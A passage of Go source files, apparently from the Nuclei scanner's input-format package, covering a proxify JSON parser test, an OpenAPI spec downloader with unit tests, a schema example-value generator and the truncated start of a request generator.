    "content": "package json\n\nimport (\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nvar expectedURLs = []string{\n\t\"https://ginandjuice.shop/\",\n\t\"https://ginandjuice.shop/catalog/product?productId=1\",\n\t\"https://ginandjuice.shop/resources/js/stockCheck.js\",\n\t\"https://ginandjuice.shop/resources/js/xmlStockCheckPayload.js\",\n\t\"https://ginandjuice.shop/resources/js/xmlStockCheckPayload.js\",\n\t\"https://ginandjuice.shop/resources/js/stockCheck.js\",\n\t\"https://ginandjuice.shop/catalog/product/stock\",\n\t\"https://ginandjuice.shop/catalog/cart\",\n\t\"https://ginandjuice.shop/catalog/product?productId=1\",\n\t\"https://ginandjuice.shop/catalog/subscribe\",\n\t\"https://ginandjuice.shop/blog\",\n\t\"https://ginandjuice.shop/blog/?search=dadad&back=%2Fblog%2F\",\n\t\"https://ginandjuice.shop/logger\",\n\t\"https://ginandjuice.shop/blog/\",\n\t\"https://ginandjuice.shop/blog/post?postId=3\",\n\t\"https://ginandjuice.shop/about\",\n\t\"https://ginandjuice.shop/my-account\",\n\t\"https://ginandjuice.shop/login\",\n\t\"https://ginandjuice.shop/login\",\n\t\"https://ginandjuice.shop/login\",\n\t\"https://ginandjuice.shop/my-account\",\n\t\"https://ginandjuice.shop/catalog/cart\",\n\t\"https://ginandjuice.shop/my-account\",\n\t\"https://ginandjuice.shop/logout\",\n\t\"https://ginandjuice.shop/\",\n\t\"https://ginandjuice.shop/catalog\",\n}\n\nfunc TestJSONFormatterParse(t *testing.T) {\n\tformat := New()\n\n\tproxifyInputFile := \"../testdata/ginandjuice.proxify.json\"\n\n\tfile, err := os.Open(proxifyInputFile)\n\trequire.Nilf(t, err, \"error opening proxify input file: %v\", err)\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\tvar urls []string\n\terr = format.Parse(file, func(request *types.RequestResponse) bool {\n\t\turls = append(urls, request.URL.String())\n\t\treturn false\n\t}, proxifyInputFile)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(urls) != len(expectedURLs) {\n\t\tt.Fatalf(\"invalid number of urls: %d\", len(urls))\n\t}\n\trequire.ElementsMatch(t, urls, expectedURLs)\n}\n"
  },
  {
    "path": "pkg/input/formats/openapi/downloader.go",
    "content": "package openapi\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\n// OpenAPIDownloader implements the SpecDownloader interface for OpenAPI 3.0 specs\ntype OpenAPIDownloader struct{}\n\n// NewDownloader creates a new OpenAPI downloader\nfunc NewDownloader() formats.SpecDownloader {\n\treturn &OpenAPIDownloader{}\n}\n\n// This function downloads an OpenAPI 3.0 spec from the given URL and saves it to tmpDir\nfunc (d *OpenAPIDownloader) Download(urlStr, tmpDir string, httpClient *retryablehttp.Client) (string, error) {\n\t// Validate URL format, OpenAPI 3.0 specs are typically JSON\n\tif !strings.HasSuffix(urlStr, \".json\") {\n\t\treturn \"\", fmt.Errorf(\"URL does not appear to be an OpenAPI JSON spec\")\n\t}\n\n\tconst maxSpecSizeBytes = 10 * 1024 * 1024 // 10MB\n\n\t// Use provided httpClient or create a fallback\n\tvar client *http.Client\n\tif httpClient != nil {\n\t\tclient = httpClient.HTTPClient\n\t} else {\n\t\t// Fallback to simple client if no httpClient provided\n\t\tclient = &http.Client{Timeout: 30 * time.Second}\n\t}\n\n\tresp, err := client.Get(urlStr)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"failed to download OpenAPI spec\")\n\t}\n\n\tdefer func() {\n\t\t_ = resp.Body.Close()\n\t}()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn \"\", fmt.Errorf(\"HTTP %d when downloading OpenAPI spec\", resp.StatusCode)\n\t}\n\n\tbodyBytes, err := io.ReadAll(io.LimitReader(resp.Body, maxSpecSizeBytes))\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"failed to read response body\")\n\t}\n\n\t// Validate it's a valid JSON and has OpenAPI structure\n\tvar spec map[string]interface{}\n\tif err := json.Unmarshal(bodyBytes, &spec); err != nil {\n\t\treturn \"\", fmt.Errorf(\"downloaded content is not valid JSON: %w\", err)\n\t}\n\n\t// Check if it's an OpenAPI 3.0 spec\n\tif openapi, exists := spec[\"openapi\"]; exists {\n\t\tif openapiStr, ok := openapi.(string); ok && strings.HasPrefix(openapiStr, \"3.\") {\n\t\t\t// Valid OpenAPI 3.0 spec\n\t\t} else {\n\t\t\treturn \"\", fmt.Errorf(\"not a valid OpenAPI 3.0 spec (found version: %v)\", openapi)\n\t\t}\n\t} else {\n\t\treturn \"\", fmt.Errorf(\"not an OpenAPI spec (missing 'openapi' field)\")\n\t}\n\n\t// Extract host from URL for server configuration\n\tparsedURL, err := url.Parse(urlStr)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"failed to parse URL\")\n\t}\n\thost := parsedURL.Host\n\tscheme := parsedURL.Scheme\n\tif scheme == \"\" {\n\t\tscheme = \"https\"\n\t}\n\n\t// Add servers section if missing or empty\n\tservers, exists := spec[\"servers\"]\n\tif !exists || servers == nil {\n\t\tspec[\"servers\"] = []map[string]interface{}{{\"url\": scheme + \"://\" + host}}\n\t} else if serverList, ok := servers.([]interface{}); ok && len(serverList) == 0 {\n\t\tspec[\"servers\"] = []map[string]interface{}{{\"url\": scheme + \"://\" + host}}\n\t}\n\n\t// Marshal back to JSON\n\tmodifiedJSON, err := json.Marshal(spec)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"failed to marshal modified spec\")\n\t}\n\n\t// Create output directory\n\topenapiDir := filepath.Join(tmpDir, \"openapi\")\n\tif err := os.MkdirAll(openapiDir, 0755); err != nil {\n\t\treturn \"\", errors.Wrap(err, \"failed to create openapi directory\")\n\t}\n\n\t// Generate filename\n\tfilename := fmt.Sprintf(\"openapi-spec-%d.json\", time.Now().Unix())\n\tfilePath := filepath.Join(openapiDir, filename)\n\n\t// Write file\n\tfile, err := os.Create(filePath)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to create file: %w\", err)\n\t}\n\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\tif _, writeErr := file.Write(modifiedJSON); writeErr != nil {\n\t\t_ = os.Remove(filePath)\n\t\treturn \"\", errors.Wrap(writeErr, \"failed to write OpenAPI spec to file\")\n\t}\n\n\treturn filePath, nil\n}\n\n// SupportedExtensions returns the list of supported file extensions for OpenAPI\nfunc (d *OpenAPIDownloader) SupportedExtensions() []string {\n\treturn []string{\".json\"}\n}\n"
  },
  {
    "path": "pkg/input/formats/openapi/downloader_test.go",
    "content": "package openapi\n\nimport (\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestOpenAPIDownloader_SupportedExtensions(t *testing.T) {\n\tdownloader := &OpenAPIDownloader{}\n\textensions := downloader.SupportedExtensions()\n\n\texpected := []string{\".json\"}\n\tif len(extensions) != len(expected) {\n\t\tt.Errorf(\"Expected %d extensions, got %d\", len(expected), len(extensions))\n\t}\n\n\tfor i, ext := range extensions {\n\t\tif ext != expected[i] {\n\t\t\tt.Errorf(\"Expected extension %s, got %s\", expected[i], ext)\n\t\t}\n\t}\n}\n\nfunc TestOpenAPIDownloader_Download_Success(t *testing.T) {\n\t// Create a mock OpenAPI spec\n\tmockSpec := map[string]interface{}{\n\t\t\"openapi\": \"3.0.0\",\n\t\t\"info\": map[string]interface{}{\n\t\t\t\"title\":   \"Test API\",\n\t\t\t\"version\": \"1.0.0\",\n\t\t},\n\t\t\"paths\": map[string]interface{}{\n\t\t\t\"/test\": map[string]interface{}{\n\t\t\t\t\"get\": map[string]interface{}{\n\t\t\t\t\t\"summary\": \"Test endpoint\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\t// Create mock server\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tif err := json.NewEncoder(w).Encode(mockSpec); err != nil {\n\t\t\thttp.Error(w, \"failed to encode response\", http.StatusInternalServerError)\n\t\t}\n\t}))\n\tdefer server.Close()\n\n\t// Create temp directory\n\ttmpDir, err := os.MkdirTemp(\"\", \"openapi_test\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temp dir: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := os.RemoveAll(tmpDir); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove temp dir: %v\", err)\n\t\t}\n\t}()\n\n\t// Test download\n\tdownloader := &OpenAPIDownloader{}\n\tfilePath, err := downloader.Download(server.URL+\"/openapi.json\", tmpDir, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"Download failed: %v\", err)\n\t}\n\n\t// Verify file exists\n\tif !fileExists(filePath) {\n\t\tt.Errorf(\"Downloaded file does not exist: %s\", filePath)\n\t}\n\n\t// Verify file content\n\tcontent, err := os.ReadFile(filePath)\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to read downloaded file: %v\", err)\n\t}\n\n\tvar downloadedSpec map[string]interface{}\n\tif err := json.Unmarshal(content, &downloadedSpec); err != nil {\n\t\tt.Fatalf(\"Failed to parse downloaded JSON: %v\", err)\n\t}\n\n\t// Verify servers field was added\n\tservers, exists := downloadedSpec[\"servers\"]\n\tif !exists {\n\t\tt.Error(\"Servers field was not added to the spec\")\n\t}\n\n\tif serversList, ok := servers.([]interface{}); ok {\n\t\tif len(serversList) == 0 {\n\t\t\tt.Error(\"Servers list is empty\")\n\t\t}\n\t} else {\n\t\tt.Error(\"Servers field is not a list\")\n\t}\n}\n\nfunc TestOpenAPIDownloader_Download_NonJSONURL(t *testing.T) {\n\ttmpDir, err := os.MkdirTemp(\"\", \"openapi_test\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temp dir: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := os.RemoveAll(tmpDir); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove temp dir: %v\", err)\n\t\t}\n\t}()\n\n\tdownloader := &OpenAPIDownloader{}\n\t_, err = downloader.Download(\"http://example.com/spec.yaml\", tmpDir, nil)\n\tif err == nil {\n\t\tt.Error(\"Expected error for non-JSON URL, but got none\")\n\t}\n\n\tif !strings.Contains(err.Error(), \"URL does not appear to be an OpenAPI JSON spec\") {\n\t\tt.Errorf(\"Unexpected error message: %v\", err)\n\t}\n}\n\nfunc TestOpenAPIDownloader_Download_HTTPError(t *testing.T) {\n\t// Create mock server that returns 404\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusNotFound)\n\t}))\n\tdefer server.Close()\n\n\ttmpDir, err := os.MkdirTemp(\"\", \"openapi_test\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temp dir: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := os.RemoveAll(tmpDir); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove temp dir: %v\", err)\n\t\t}\n\t}()\n\n\tdownloader := &OpenAPIDownloader{}\n\t_, err = downloader.Download(server.URL+\"/openapi.json\", tmpDir, nil)\n\tif err == nil {\n\t\tt.Error(\"Expected error for HTTP 404, but got none\")\n\t}\n}\n\nfunc TestOpenAPIDownloader_Download_InvalidJSON(t *testing.T) {\n\t// Create mock server that returns invalid JSON\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tif _, err := w.Write([]byte(\"invalid json\")); err != nil {\n\t\t\thttp.Error(w, \"failed to write response\", http.StatusInternalServerError)\n\t\t}\n\t}))\n\tdefer server.Close()\n\n\ttmpDir, err := os.MkdirTemp(\"\", \"openapi_test\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temp dir: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := os.RemoveAll(tmpDir); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove temp dir: %v\", err)\n\t\t}\n\t}()\n\n\tdownloader := &OpenAPIDownloader{}\n\t_, err = downloader.Download(server.URL+\"/openapi.json\", tmpDir, nil)\n\tif err == nil {\n\t\tt.Error(\"Expected error for invalid JSON, but got none\")\n\t}\n}\n\nfunc TestOpenAPIDownloader_Download_Timeout(t *testing.T) {\n\t// Create mock server with delay\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\ttime.Sleep(35 * time.Second) // Longer than 30 second timeout\n\t\tif err := json.NewEncoder(w).Encode(map[string]interface{}{\"test\": \"data\"}); err != nil {\n\t\t\thttp.Error(w, \"failed to encode response\", http.StatusInternalServerError)\n\t\t}\n\t}))\n\tdefer server.Close()\n\n\ttmpDir, err := os.MkdirTemp(\"\", \"openapi_test\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temp dir: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := os.RemoveAll(tmpDir); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove temp dir: %v\", err)\n\t\t}\n\t}()\n\n\tdownloader := &OpenAPIDownloader{}\n\t_, err = downloader.Download(server.URL+\"/openapi.json\", tmpDir, nil)\n\tif err == nil {\n\t\tt.Error(\"Expected timeout error, but got none\")\n\t}\n}\n\nfunc TestOpenAPIDownloader_Download_WithExistingServers(t *testing.T) {\n\t// Create a mock OpenAPI spec with existing servers\n\tmockSpec := map[string]interface{}{\n\t\t\"openapi\": \"3.0.0\",\n\t\t\"info\": map[string]interface{}{\n\t\t\t\"title\":   \"Test API\",\n\t\t\t\"version\": \"1.0.0\",\n\t\t},\n\t\t\"servers\": []interface{}{\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"url\": \"https://existing-server.com\",\n\t\t\t},\n\t\t},\n\t\t\"paths\": map[string]interface{}{},\n\t}\n\n\t// Create mock server\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tif err := json.NewEncoder(w).Encode(mockSpec); err != nil {\n\t\t\thttp.Error(w, \"failed to encode response\", http.StatusInternalServerError)\n\t\t}\n\t}))\n\tdefer server.Close()\n\n\ttmpDir, err := os.MkdirTemp(\"\", \"openapi_test\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temp dir: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := os.RemoveAll(tmpDir); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove temp dir: %v\", err)\n\t\t}\n\t}()\n\n\tdownloader := &OpenAPIDownloader{}\n\tfilePath, err := downloader.Download(server.URL+\"/openapi.json\", tmpDir, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"Download failed: %v\", err)\n\t}\n\n\t// Verify existing servers are preserved\n\tcontent, err := os.ReadFile(filePath)\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to read downloaded file: %v\", err)\n\t}\n\n\tvar downloadedSpec map[string]interface{}\n\tif err := json.Unmarshal(content, &downloadedSpec); err != nil {\n\t\tt.Fatalf(\"Failed to parse downloaded JSON: %v\", err)\n\t}\n\n\tservers, exists := downloadedSpec[\"servers\"]\n\tif !exists {\n\t\tt.Error(\"Servers field was removed from the spec\")\n\t}\n\n\tif serversList, ok := servers.([]interface{}); ok {\n\t\tif len(serversList) != 1 {\n\t\t\tt.Errorf(\"Expected 1 server, got %d\", len(serversList))\n\t\t}\n\t}\n}\n\n// Helper function to check if file exists\nfunc fileExists(filename string) bool {\n\t_, err := os.Stat(filename)\n\treturn !os.IsNotExist(err)\n}\n"
  },
  {
    "path": "pkg/input/formats/openapi/examples.go",
    "content": "package openapi\n\nimport (\n\t\"fmt\"\n\t\"maps\"\n\t\"slices\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/pkg/errors\"\n)\n\n// From: https://github.com/danielgtaylor/apisprout/blob/master/example.go\n\nfunc getSchemaExample(schema *openapi3.Schema) (interface{}, bool) {\n\tif schema.Example != nil {\n\t\treturn schema.Example, true\n\t}\n\n\tif schema.Default != nil {\n\t\treturn schema.Default, true\n\t}\n\n\tif len(schema.Enum) > 0 {\n\t\treturn schema.Enum[0], true\n\t}\n\treturn nil, false\n}\n\n// stringFormatExample returns an example string based on the given format.\n// http://json-schema.org/latest/json-schema-validation.html#rfc.section.7.3\nfunc stringFormatExample(format string) string {\n\tswitch format {\n\tcase \"date\":\n\t\t// https://tools.ietf.org/html/rfc3339\n\t\treturn \"2018-07-23\"\n\tcase \"date-time\":\n\t\t// This is the date/time of API Sprout's first commit! :-)\n\t\treturn \"2018-07-23T22:58:00-07:00\"\n\tcase \"time\":\n\t\treturn \"22:58:00-07:00\"\n\tcase \"email\":\n\t\treturn \"email@example.com\"\n\tcase \"hostname\":\n\t\t// https://tools.ietf.org/html/rfc2606#page-2\n\t\treturn \"example.com\"\n\tcase \"ipv4\":\n\t\t// https://tools.ietf.org/html/rfc5737\n\t\treturn \"198.51.100.0\"\n\tcase \"ipv6\":\n\t\t// https://tools.ietf.org/html/rfc3849\n\t\treturn \"2001:0db8:85a3:0000:0000:8a2e:0370:7334\"\n\tcase \"uri\":\n\t\treturn \"https://tools.ietf.org/html/rfc3986\"\n\tcase \"uri-template\":\n\t\t// https://tools.ietf.org/html/rfc6570\n\t\treturn \"http://example.com/dictionary/{term:1}/{term}\"\n\tcase \"json-pointer\":\n\t\t// https://tools.ietf.org/html/rfc6901\n\t\treturn \"#/components/parameters/term\"\n\tcase \"regex\":\n\t\t// https://stackoverflow.com/q/3296050/164268\n\t\treturn \"/^1?$|^(11+?)\\\\1+$/\"\n\tcase \"uuid\":\n\t\t// https://www.ietf.org/rfc/rfc4122.txt\n\t\treturn \"f81d4fae-7dec-11d0-a765-00a0c91e6bf6\"\n\tcase \"password\":\n\t\treturn \"********\"\n\tcase \"binary\":\n\t\treturn \"sagefuzzertest\"\n\t}\n\treturn \"\"\n}\n\n// excludeFromMode will exclude a schema if the mode is request and the schema\n// is read-only\nfunc excludeFromMode(schema *openapi3.Schema) bool {\n\tif schema == nil {\n\t\treturn true\n\t}\n\n\tif schema.ReadOnly {\n\t\treturn true\n\t}\n\treturn false\n}\n\n// isRequired checks whether a key is actually required.\nfunc isRequired(schema *openapi3.Schema, key string) bool {\n\treturn slices.Contains(schema.Required, key)\n}\n\ntype cachedSchema struct {\n\tpending bool\n\tout     interface{}\n}\n\nvar (\n\t// ErrRecursive is when a schema is impossible to represent because it infinitely recurses.\n\tErrRecursive = errors.New(\"Recursive schema\")\n\n\t// ErrNoExample is sent when no example was found for an operation.\n\tErrNoExample = errors.New(\"No example found\")\n)\n\nfunc openAPIExample(schema *openapi3.Schema, cache map[*openapi3.Schema]*cachedSchema) (out interface{}, err error) {\n\tif ex, ok := getSchemaExample(schema); ok {\n\t\treturn ex, nil\n\t}\n\n\tcached, ok := cache[schema]\n\tif !ok {\n\t\tcached = &cachedSchema{\n\t\t\tpending: true,\n\t\t}\n\t\tcache[schema] = cached\n\t} else if cached.pending {\n\t\treturn nil, ErrRecursive\n\t} else {\n\t\treturn cached.out, nil\n\t}\n\n\tdefer func() {\n\t\tcached.pending = false\n\t\tcached.out = out\n\t}()\n\n\t// Handle combining keywords\n\tif len(schema.OneOf) > 0 {\n\t\tvar ex interface{}\n\t\tvar err error\n\n\t\tfor _, candidate := range schema.OneOf {\n\t\t\tex, err = openAPIExample(candidate.Value, cache)\n\t\t\tif err == nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\treturn ex, err\n\t}\n\tif len(schema.AnyOf) > 0 {\n\t\tvar ex interface{}\n\t\tvar err error\n\n\t\tfor _, candidate := range schema.AnyOf {\n\t\t\tex, err = openAPIExample(candidate.Value, cache)\n\t\t\tif err == nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\treturn ex, err\n\t}\n\tif len(schema.AllOf) > 0 {\n\t\texample := map[string]interface{}{}\n\n\t\tfor _, allOf := range schema.AllOf {\n\t\t\tcandidate, err := openAPIExample(allOf.Value, cache)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tvalue, ok := candidate.(map[string]interface{})\n\t\t\tif !ok {\n\t\t\t\treturn nil, ErrNoExample\n\t\t\t}\n\n\t\t\tmaps.Copy(example, value)\n\t\t}\n\t\treturn example, nil\n\t}\n\n\tswitch {\n\tcase schema.Type.Is(\"boolean\"):\n\t\treturn true, nil\n\tcase schema.Type.Is(\"number\"), schema.Type.Is(\"integer\"):\n\t\tvalue := 0.0\n\n\t\tif schema.Min != nil && *schema.Min > value {\n\t\t\tvalue = *schema.Min\n\t\t\tif schema.ExclusiveMin {\n\t\t\t\tif schema.Max != nil {\n\t\t\t\t\t// Make the value half way.\n\t\t\t\t\tvalue = (*schema.Min + *schema.Max) / 2.0\n\t\t\t\t} else {\n\t\t\t\t\tvalue++\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif schema.Max != nil && *schema.Max < value {\n\t\t\tvalue = *schema.Max\n\t\t\tif schema.ExclusiveMax {\n\t\t\t\tif schema.Min != nil {\n\t\t\t\t\t// Make the value half way.\n\t\t\t\t\tvalue = (*schema.Min + *schema.Max) / 2.0\n\t\t\t\t} else {\n\t\t\t\t\tvalue--\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif schema.MultipleOf != nil && int(value)%int(*schema.MultipleOf) != 0 {\n\t\t\tvalue += float64(int(*schema.MultipleOf) - (int(value) % int(*schema.MultipleOf)))\n\t\t}\n\n\t\tif schema.Type.Is(\"integer\") {\n\t\t\treturn int(value), nil\n\t\t}\n\t\treturn value, nil\n\tcase schema.Type.Is(\"string\"):\n\t\tif ex := stringFormatExample(schema.Format); ex != \"\" {\n\t\t\treturn ex, nil\n\t\t}\n\t\texample := \"string\"\n\n\t\tfor schema.MinLength > uint64(len(example)) {\n\t\t\texample += example\n\t\t}\n\n\t\tif schema.MaxLength != nil && *schema.MaxLength < uint64(len(example)) {\n\t\t\texample = example[:*schema.MaxLength]\n\t\t}\n\t\treturn example, nil\n\tcase schema.Type.Is(\"array\"), schema.Items != nil:\n\t\texample := []interface{}{}\n\n\t\tif schema.Items != nil && schema.Items.Value != nil {\n\t\t\tex, err := openAPIExample(schema.Items.Value, cache)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"can't get example for array item: %+v\", err)\n\t\t\t}\n\n\t\t\texample = append(example, ex)\n\n\t\t\tfor uint64(len(example)) < schema.MinItems {\n\t\t\t\texample = append(example, ex)\n\t\t\t}\n\t\t}\n\t\treturn example, nil\n\tcase schema.Type.Is(\"object\"), len(schema.Properties) > 0:\n\t\texample := map[string]interface{}{}\n\n\t\tfor k, v := range schema.Properties {\n\t\t\tif excludeFromMode(v.Value) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tex, err := openAPIExample(v.Value, cache)\n\t\t\tif err == ErrRecursive {\n\t\t\t\tif isRequired(schema, k) {\n\t\t\t\t\treturn nil, fmt.Errorf(\"can't get example for '%s': %+v\", k, err)\n\t\t\t\t}\n\t\t\t} else if err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"can't get example for '%s': %+v\", k, err)\n\t\t\t} else {\n\t\t\t\texample[k] = ex\n\t\t\t}\n\t\t}\n\n\t\tif schema.AdditionalProperties.Has != nil && schema.AdditionalProperties.Schema != nil {\n\t\t\taddl := schema.AdditionalProperties.Schema.Value\n\n\t\t\tif !excludeFromMode(addl) {\n\t\t\t\tex, err := openAPIExample(addl, cache)\n\t\t\t\tif err == ErrRecursive {\n\t\t\t\t\t// We just won't add this if it's recursive.\n\t\t\t\t} else if err != nil {\n\t\t\t\t\treturn nil, fmt.Errorf(\"can't get example for additional properties: %+v\", err)\n\t\t\t\t} else {\n\t\t\t\t\texample[\"additionalPropertyName\"] = ex\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn example, nil\n\t}\n\treturn nil, ErrNoExample\n}\n\n// generateExampleFromSchema creates an example structure from an OpenAPI 3 schema\n// object, which is an extended subset of JSON Schema.\n//\n// https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.1.md#schemaObject\nfunc generateExampleFromSchema(schema *openapi3.Schema) (interface{}, error) {\n\treturn openAPIExample(schema, make(map[*openapi3.Schema]*cachedSchema)) // TODO: Use caching\n}\n\nfunc generateEmptySchemaValue(contentType string) *openapi3.Schema {\n\tschema := &openapi3.Schema{}\n\tobjectType := &openapi3.Types{\"object\"}\n\tstringType := &openapi3.Types{\"string\"}\n\n\tswitch contentType {\n\tcase \"application/json\":\n\t\tschema.Type = objectType\n\t\tschema.Properties = make(map[string]*openapi3.SchemaRef)\n\tcase \"application/xml\":\n\t\tschema.Type = stringType\n\t\tschema.Format = \"xml\"\n\t\tschema.Example = \"<?xml version=\\\"1.0\\\"?><root/>\"\n\tcase \"text/plain\":\n\t\tschema.Type = stringType\n\tcase \"application/x-www-form-urlencoded\":\n\t\tschema.Type = objectType\n\t\tschema.Properties = make(map[string]*openapi3.SchemaRef)\n\tcase \"multipart/form-data\":\n\t\tschema.Type = objectType\n\t\tschema.Properties = make(map[string]*openapi3.SchemaRef)\n\tcase \"application/octet-stream\":\n\tdefault:\n\t\tschema.Type = stringType\n\t\tschema.Format = \"binary\"\n\t}\n\n\treturn schema\n}\n"
  },
  {
    "path": "pkg/input/formats/openapi/generator.go",
    "content": "package openapi\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/http/httputil\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/clbanning/mxj/v2\"\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats\"\n\thttpTypes \"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\t\"github.com/projectdiscovery/utils/generic\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\t\"github.com/valyala/fasttemplate\"\n)\n\nconst (\n\tglobalAuth                 = \"globalAuth\"\n\tDEFAULT_HTTP_SCHEME_HEADER = \"Authorization\"\n)\n\n// GenerateRequestsFromSchema generates http requests from an OpenAPI 3.0 document object\nfunc GenerateRequestsFromSchema(schema *openapi3.T, opts formats.InputFormatOptions, callback formats.ParseReqRespCallback) error {\n\tif len(schema.Servers) == 0 {\n\t\treturn errors.New(\"no servers found in openapi schema\")\n\t}\n\n\t// new set of globalParams obtained from security schemes\n\tglobalParams := openapi3.NewParameters()\n\n\tif len(schema.Security) > 0 {\n\t\tparams, err := GetGlobalParamsForSecurityRequirement(schema, &schema.Security)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tglobalParams = append(globalParams, params...)\n\t}\n\n\t// validate global param requirements\n\tfor _, param := range globalParams {\n\t\tif val, ok := opts.Variables[param.Value.Name]; ok {\n\t\t\tparam.Value.Example = val\n\t\t} else {\n\t\t\t// if missing check for validation\n\t\t\tif opts.SkipFormatValidation {\n\t\t\t\tgologger.Verbose().Msgf(\"openapi: skipping all requests due to missing global auth parameter: %s\\n\", param.Value.Name)\n\t\t\t\treturn nil\n\t\t\t} else {\n\t\t\t\t// fatal error\n\t\t\t\tgologger.Fatal().Msgf(\"openapi: missing global auth parameter: %s\\n\", param.Value.Name)\n\t\t\t}\n\t\t}\n\t}\n\n\tmissingVarMap := make(map[string]struct{})\n\toptionalVarMap := make(map[string]struct{})\n\tmissingParamValueCallback := func(param *openapi3.Parameter, opts *generateReqOptions) {\n\t\tif !param.Required {\n\t\t\toptionalVarMap[param.Name] = struct{}{}\n\t\t\treturn\n\t\t}\n\t\tmissingVarMap[param.Name] = struct{}{}\n\t}\n\n\tfor _, serverURL := range schema.Servers {\n\t\tpathURL := serverURL.URL\n\t\t// Split the server URL into baseURL and serverPath\n\t\tu, err := url.Parse(pathURL)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not parse server url\")\n\t\t}\n\t\tbaseURL := fmt.Sprintf(\"%s://%s\", u.Scheme, u.Host)\n\t\tserverPath := u.Path\n\n\t\tfor path, v := range schema.Paths.Map() {\n\t\t\t// a path item can have parameters\n\t\t\tops := v.Operations()\n\t\t\trequestPath := path\n\t\t\tif serverPath != \"\" {\n\t\t\t\trequestPath = serverPath + path\n\t\t\t}\n\t\t\tfor method, ov := range ops {\n\t\t\t\tif err := generateRequestsFromOp(&generateReqOptions{\n\t\t\t\t\trequiredOnly:              opts.RequiredOnly,\n\t\t\t\t\tmethod:                    method,\n\t\t\t\t\tpathURL:                   baseURL,\n\t\t\t\t\trequestPath:               requestPath,\n\t\t\t\t\top:                        ov,\n\t\t\t\t\tschema:                    schema,\n\t\t\t\t\tglobalParams:              globalParams,\n\t\t\t\t\treqParams:                 